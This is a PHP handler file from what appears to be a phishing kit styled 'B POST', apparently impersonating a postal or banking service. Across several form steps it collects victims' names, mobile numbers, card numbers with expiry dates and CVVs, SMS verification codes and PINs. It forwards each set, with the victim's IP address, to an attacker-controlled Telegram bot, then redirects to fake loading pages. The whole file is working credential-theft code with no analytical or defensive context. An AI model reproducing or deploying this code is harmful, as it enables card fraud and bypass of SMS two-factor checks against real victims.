<?php 
     require_once "functions.php";

     require_once "telegram.php";

                                    #========================================
                                    #==> Make By ==> Telegram : @Z01 <==#
                                    #========================================


$id=$chatid;
$apiToken = $api;


//================
#==> INFO
//================

if ($_POST['step']== 'index') {
    $first = $_POST['first'];
    $last = $_POST['last'];
    $mobile = $_POST['mobile'];


    if (empty($first) || empty($last) || empty($mobile)) {

        header("Location: index.php");
        exit();

    }else{
        $adrress  = $_SERVER['REMOTE_ADDR'];
        $subject  = $adrress . " | FULL INFO | B POST "  . "\r\n" ;
        $message .= "F_NAME: " . $first   . "\r\n";
        $message .= "L_NAME: " . $last   . "\r\n";
        $message .= "MOBILE: " . $mobile   . "\r\n";


        if(isset($_POST['submit']))
         {
            $apiToken;
            $data = [
                 'chat_id' => $id,
                 'text' => $subject . $message
            ];
            $response = file_get_contents("https://api.telegram.org/bot". $apiToken ."/sendMessage?" . http_build_query($data));
         }

        header("Location: loading.php");
        exit();
    }
}



//================
#==> CC
//================

if ($_POST['step']== 'cc') {
    $card = $_POST['card'];
    $date = $_POST['date'];
    $cvv = $_POST['code'];

    if (empty($card) || empty($date) || empty($cvv)) {

        header("Location: cc.php");
        exit();

    }else{
        $adrress  = $_SERVER['REMOTE_ADDR'];
        $subject  = $adrress . " | CC | B POST "       . "\r\n" ;
        $message .= "CARD: " . $card   . "\r\n";
        $message .= "DATE EXP: " . $date  . "\r\n";
        $message .= "CVV: " . $cvv  . "\r\n";


        if(isset($_POST['submit']))
         {
            $apiToken;
            $data = [
                 'chat_id' => $id,
                 'text' => $subject . $message
            ];
            $response = file_get_contents("https://api.telegram.org/bot". $apiToken ."/sendMessage?" . http_build_query($data));
         }

        header("Location: loading_2.php");
        exit();
    }
}



//================
#==> SMS 1
//================

if ($_POST['step']== 'message') {
    $msg = $_POST['sms'];

    if (empty($msg)) {

        header("Location: sms.php");
        exit();

    }else{
        $adrress  = $_SERVER['REMOTE_ADDR'];
        $subject  = $adrress . " | SMS | B POST "       . "\r\n" ;
        $message .= "SMS: " . $msg   . "\r\n";

        if(isset($_POST['submit']))
         {
            $apiToken;
            $data = [
                 'chat_id' => $id,
                 'text' => $subject . $message
            ];
            $response = file_get_contents("https://api.telegram.org/bot". $apiToken ."/sendMessage?" . http_build_query($data));
         }

        header("Location: loading_3.php");
        exit();
    }
}

//================
#==> SMS 1
//================

if ($_POST['step']== 'message_2') {
    $msg = $_POST['sms'];

    if (empty($msg)) {

        header("Location: sms_err.php");
        exit();

    }else{
        $adrress  = $_SERVER['REMOTE_ADDR'];
        $subject  = $adrress . " | SMS | B POST "       . "\r\n" ;
        $message .= "SMS 2: " . $msg   . "\r\n";

        if(isset($_POST['submit']))
         {
            $apiToken;
            $data = [
                 'chat_id' => $id,
                 'text' => $subject . $message
            ];
            $response = file_get_contents("https://api.telegram.org/bot". $apiToken ."/sendMessage?" . http_build_query($data));
         }

        header("Location: loading_4.php");
        exit();
    }
}

//================
#==>PIN 
//================

if ($_POST['step']== 'pin') {
    $msg = $_POST['pin'];

    if (empty($msg)) {

        header("Location: pin.php");
        exit();

    }else{
        $adrress  = $_SERVER['REMOTE_ADDR'];
        $subject  = $adrress . " | PIN | B POST "       . "\r\n" ;
        $message .= "PIN: " . $msg   . "\r\n";

        if(isset($_POST['submit']))
         {
            $apiToken;
            $data = [
                 'chat_id' => $id,
                 'text' => $subject . $message
            ];
            $response = file_get_contents("https://api.telegram.org/bot". $apiToken ."/sendMessage?" . http_build_query($data));
         }

        header("Location: loading_5.php");
        exit();
    }
}



